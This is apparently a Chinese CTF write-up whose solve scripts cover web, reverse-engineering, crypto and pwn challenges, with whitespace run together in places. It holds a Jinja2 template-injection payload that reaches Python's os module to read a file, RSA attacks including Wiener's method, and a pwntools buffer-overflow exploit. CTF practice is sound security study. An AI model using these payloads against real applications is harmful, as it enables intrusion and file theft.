@app.route('/') defindex(): blacklist = ['\'','"','request','format',"chr","+"] s = request.args.get('payload') if s: for i in blacklist: if i in s.lower(): return'No!' return render_template_string(s) else: returnopen(__file__).read()
if __name__=='__main__': app.run(host='0.0.0.0',port=10001)
{% set os=().__class__.__mro__[1].__subclasses__()[117].__init__.__globals__ %} {% set flag_path=os.path.join(os.path.abspath(os.path.dirname(os.getcwd())),os.listdir(os.path.abspath(os.path.dirname(os.getcwd())))[19]) %} {{().__class__.__mro__[1].__subclasses__()[424](flag_path).read()}}
defenc(input): for i inrange(len(input)): iford(input[i]) ^ 18 != encode[i]: return0 return1
if __name__ == '__main__': print('Please input your flag:') flag = input() iflen(flag) != 32: print('Length Wrong!!') elif enc(flag) == 1: print('Wow,you get it!!!') print('The flag is base64 to decode your input ') else: print('Sorry,Your input is wrong')
for i inrange(42): for c inrange(128): v4 = c v6 = v4 & ~key_num[i % key_len] v5 = c enc_c = v6 | key_num[i % key_len] & ~v5 if enc_c == enc[i]: print(chr(c), end="") break
# Source Generated with Decompyle++ # File: ez_code.pyc (Python 3.8)
import base64 enc = b'Cg0GHCw4GFYAdmdHVgBoPVNULDpRRwomKxswOAIRKyscDTo5Cg0GRgBcfQ==' flag = bytearray(input('Please Input Your flag:').encode()) for i inrange(len(flag) - 1): flag[i] ^= flag[i + 1] if enc == base64.b64encode(flag): print('Right!!') else: print('Wrong!!')
解题脚本:
1 2 3 4 5 6 7 8 9 10
import base64 enc = b'Cg0GHCw4GFYAdmdHVgBoPVNULDpRRwomKxswOAIRKyscDTo5Cg0GRgBcfQ==' b64_dec_str = base64.b64decode(enc).decode() dec_list = [] for i inrange(len(b64_dec_str)): dec_list.append(ord(b64_dec_str[i])) for i inrange(len(dec_list)-1, 0, -1): dec_list[i-1] ^= dec_list[i] for i inrange(len(dec_list)): print(chr(dec_list[i]), end='')
defabort(): print("Wrong flag!") sys.exit(1) print("Please input the flag:") flag = input() iflen(flag) != 29: abort() if flag[15]!='s'or flag[23]!='l': abort() if flag[:5] != 'flag{': abort() ifsum(ord(x) * 100 ** i for i, x inenumerate(flag[18:23][::-1])) !=6812114848: abort() if flag[16]!='0'or flag[17]!='_': abort() if flag[14]!='_'or flag[25]!='_': abort() if flag[14]!=flag[17]: abort() if flag[28:] != '}': abort() if base64.b64encode(flag[-4:].encode()) != b'XyEhfQ==': abort() if (ord(flag[24])^0x36)!=90: abort() if hashlib.md5(flag[9:3:-2].encode('utf-8')).hexdigest()!='313cbe1f770540ba8608222de9559a41': abort() if hashlib.sha1((flag[6]+flag[8]+flag[10]).encode()).hexdigest()!= '8205169281506d630dcddfa8e89cd5f08bfc4c66': abort() if hashlib.sha256(flag.encode()).hexdigest() != '06f00e5d1b8f2dd5bb4f5aeb2e2ef136fe24aa5de89bf90bbb8e5131d3b9f60e': abort()
print("You are right!")
简单暴力算一下就行
flag
flag{Pyth0n_1s_s0_Coo00ll_!!}
Crypto
只做了基础的题目,就只贴脚本吧,网上基本上都能搜到
Check Your Factor Database
factordb分解
1 2 3 4 5 6 7 8 9 10 11 12
from Crypto.Util.number import * import gmpy2
p = 102786970188634214370227829796268661753428191750544697648009912021832510479846406842660652442082773578020088104585096298944409097150001317920480815093132150004913448767202198299893840769568841219755466694275862843676241177608436424364735585247574303039353776987581503833128444693347920806395102183872665901277 q = 151606784799548610095916644217950865940397761353988655007201180031392776522565708552689972206548545357755036833336762542306291348158476176958083317845208464472445906639525228156065966245815886462442808969891370598247564766047649027653895495777728985622422940233924415769188183003695053034562331004932104400857 n = p * q phi_n = (p - 1) * (q - 1) e = 65537 c = 6371306651441414494898158050750379466411385075727176973777141489866804949152371066737700949957382328723739039588265348722939538409644758452741820636286764732056622302045805546424342834578149204912690500590371488794741154219116429974884626176276687505603436615961383352315424341433102202637442619829308641010524729990244179166911981814627661923080609365126766407039132426191716113002194884261389976932121106269022968620075855360220818974890016650718871530138072213210849868914955977855950213371455369372213479451425395072947888041803100826574552594123357214975040806204084524320510358181592274275785398054808107630303 d = gmpy2.invert(e, phi_n) m = pow(c, d, n) print(long_to_bytes(m))
flag
flag{factor_db_is_useful}
Classical
key通过明文flag易知
1 2 3
hex_str = 'a1a79ca2b69ea79caeaea49e9ca79a9ea4aba3a0ad9aa4ae9aa09caeb4b8' for i inrange(0, len(hex_str), 2): print(chr(int(hex_str[i:i+2], 16)-0x3b), end='')
flag
flag{classical_cipher_is_easy}
One Key Pad
同上
1 2 3 4
enc = 'e0eae7e1fde3e7fcffd9fee9f4fb' key = 134 for i inrange(0, len(enc), 2): print(chr(int(enc[i:i+2], 16)^key), end='')
defcontinuedFra(x, y): """计算连分数 :param x: 分子 :param y: 分母 :return: 连分数列表 """ cf = [] while y: cf.append(x // y) x, y = y, x % y return cf
defgradualFra(cf): """计算传入列表最后的渐进分数 :param cf: 连分数列表 :return: 该列表最后的渐近分数 """ numerator = 0 denominator = 1 for x in cf[::-1]: # 这里的渐进分数分子分母要分开 numerator, denominator = denominator, x * denominator + numerator return numerator, denominator
defsolve_pq(a, b, c): """使用韦达定理解出pq,x^2−(p+q)∗x+pq=0 :param a:x^2的系数 :param b:x的系数 :param c:pq :return:p,q """ par = gmpy2.isqrt(b * b - 4 * a * c) return (-b + par) // (2 * a), (-b - par) // (2 * a)
defgetGradualFra(cf): """计算列表所有的渐近分数 :param cf: 连分数列表 :return: 该列表所有的渐近分数 """ gf = [] for i inrange(1, len(cf) + 1): gf.append(gradualFra(cf[:i])) return gf
defwienerAttack(e, n): """ :param e: :param n: :return: 私钥d """ cf = continuedFra(e, n) gf = getGradualFra(cf) for d, k in gf: if k == 0: continue if (e * d - 1) % k != 0: continue phi = (e * d - 1) // k p, q = solve_pq(1, n - phi + 1, n) if p * q == n: return d
n = 25034940371316027982989109858983035957022242853528396205204302689129321135889179548531825126324862877304349959759457473345386677350801699694519801854694564609540518859226257541735101131061153801691285166414857623323949567961732640461064080037163533593808704618894050793617912645403825144607485529156629512886933846375308246214691525742555371476243960391699031713932843895792714199373152269986560227086948393910675760719168290941887562375917844785381936574415210321959842546803738925021869606843612617039943708419736652460467627506212136153024123735359863652531815458080035602542612800065576703132829747202040715495261 e = 8476564611150469550940127648995203426181865094246078454643881948809381443584793139382653113711164309772437111491351998573447193571064858150363104387115649306393902238338219700119763022685799953771599909005121420990063342272563907081327771977206070476743513032065564699999670422672158101425375379506012471494353700503102697115841770403551038153848176736896358340411157551866574081672026813318046629404731548134518258622524050396360074692461505095852899650864748923429693383917296734088995166126930527701686831547485249173697786028781162569722181598560086284336947191515403554973114951132921661316740670097246644621235 c = 2454907297028787136541170385686610861622971578077914006379129694488677204476052661898180367388312812417750676632466512790338753011526338881849303131344257007679563941135578225050180073435144846362258162994482049100964524471580613044367097509971544861215748305549133024033487527716753095794133627812956111512512284550065787294808607985520648752183114793040765129106295569341461971506957453926291242028663915032518573276483507492371321759598920056701036342948600999993824607775771236978973118279060517862410982414208929888882846456223219663454145617549917909512888434422795187741858097201015892992321357332815756686070 d = wienerAttack(e, n) m = pow(c, d, n) print(long_to_bytes(m))
flag
flag{8aea3705-6869-4268-bbe6-88a0af76e133}
Too Close To Sqrt
1 2 3 4 5 6 7 8 9 10 11 12
from gmpy2 import * from Crypto.Util.number import *
n = 77110253337392483710762885851693115398718726693715564954496625571775664359421696802771127484396119363821442323280817855193791448966346325672454247192244603281463595140923987182065095198239715749980911991399313395478292871386248479783966672279960117003211050451721307589036878362258617072298763845707881171743025954660306653186069633961424298647787491228085801739935823867940079473418881721402983930102278146132444200918211570297746753023639071980907968315022004518691979622641358951345391364430806558132988012728594904676117146959007388204192026655365596585273466096578234688721967922267682066710965927143418418189061 c = 702169486130185630321527556026041034472676838451810139529487621183247331904842057079283224928768517113408797087181581480998121028501323357655408002432408893862758626561073997320904805861882437888050151254177440453995235705432462544064680391673889537055043464482935772971360736797960328738609078425683870759310570638726605063168459207781397030244493359714270821300687562579988959673816634095712866030123140597773571541522765682883740928146364852979096568241392987132397744676804445290807040450917391600712817423804313823998912230965373385456071776639302417042258135008463458352605827748674554004125037538659993074220
q = next_prime(iroot(n, 2)[0]) assert n % q == 0 p = n // q d = invert(0x10001, (p-1)*(q-1)) m = pow(c,d,n) print(long_to_bytes(m))
flag
flag{oops_the_N_is_not_secure}
Use Many Time
1 2 3 4 5 6 7 8 9 10 11 12
from Crypto.Util.number import * import gmpy2
p = 22826089215015062971239747479765573980261860956508924966887672339011131256071593933855569627345730491900186620681430083447450449800363453742460910559038500884300216627993746389795089330113851499728923389157896774203901873995580499872010382271176165914123608852269645266420541883312655519483268190334714005528424143016351241964111694448438696041108115955227931375862495974220469117197567953528127044121313985354817794430503700199549401649666484648419628490258677717450705269977839872907619635351260327914403045603763386492257545870697934887022012834074741429555229113461953163363204273114559929014526316520808246516691 n = p ** 4 c = 262959409928901942946356967282715685988402717525722998413073199552344194569815462675208727317356069038143476887785349729074152415468561305043719564044443534943678461691194112819829009942015928217138669440068055198678626228169095209700084857903899952032493859312798134830127847836090483339421488013318184521018942602658859674923143870041870487415119261615851991532534606572685371087892175187669735837173802901707243259478231127246547498003861531872712139399220445465633130401043038236189470250375275092537677136076465523278093135254194321212116731237463794930347080005994129860018818529190275740308829411887853496055005914245757890730455096895759851033070483269010908006762902321856837578539257154697504866923667155835568667100011559417194297036546745102722888382810645788593405822297665771079070110912560494209334914533558309387853851664235646634342550739566564027709387611635084010476988602665679274092312701989498548485452833766131120307212434583895800389361158177620204656479294383838488961384696760004965555832729706574445815485286337177591334864985323203962452816823109401292600686290645753703318285223851373494687341332009673985128472618489951377449004314976075061089812435706552393436214957004589524906307287978580991550974217938678109879592869816607502026007252288475327472451287082697741140324509606631465050160462644047707063687221390874129122094235339213836858331145379658693745765989963094532579285786465378971800497606443969187141241371884417409400393554875676670693772124227967787087249970176123360898925123323833553629516940180273052472844245188596972497171407972537936080054594306016800782067609134239410680549083033727692776112628144869503299586655898231079773579227330327159838200652203600435140335585943871110523667774597723803449181446601397378968006674324753246013580929038935474151143294980592601911423698794436171646021633991328190789552835952437637863496011173604086905984318805710258969051632322326111378923301936151648733712292832400228718852555700089350581693206572448860973715415938816675920101336567495654357573191994730856103857549775016982813567025601029715927459867603513676152935188298681539416993775403152002836985599653470480800354152755275582198243528888697069870892345692931591655818148732228227890569700323009808337822568147429445530219871559528924454126891741517141491673059521896789132434077118608327133800491064640223646492279791064413028951228474075277822487467158841147454754127758427097085005104226495027785164273717534964 e = 65537
phi = p**4-p**3 d = gmpy2.invert(e, phi) m = pow(c, d, n) print(long_to_bytes(m))
context.log_level = 'debug' # p = remote("38.47.122.46",40018) p = process("./happy")
ret = 0x000000000040101a
p.sendlineafter(b'now~input your wish~~~~OwO~~~~~\n', b'i want to be a good pwner!!!!!') payload = b'a' * (0x30+8) + p64(ret) + p64(0x000000000040125B) + p64(0x00000000004012C0) p.sendlineafter(b'yeah~~now show me your determination\n', payload) p.interactive()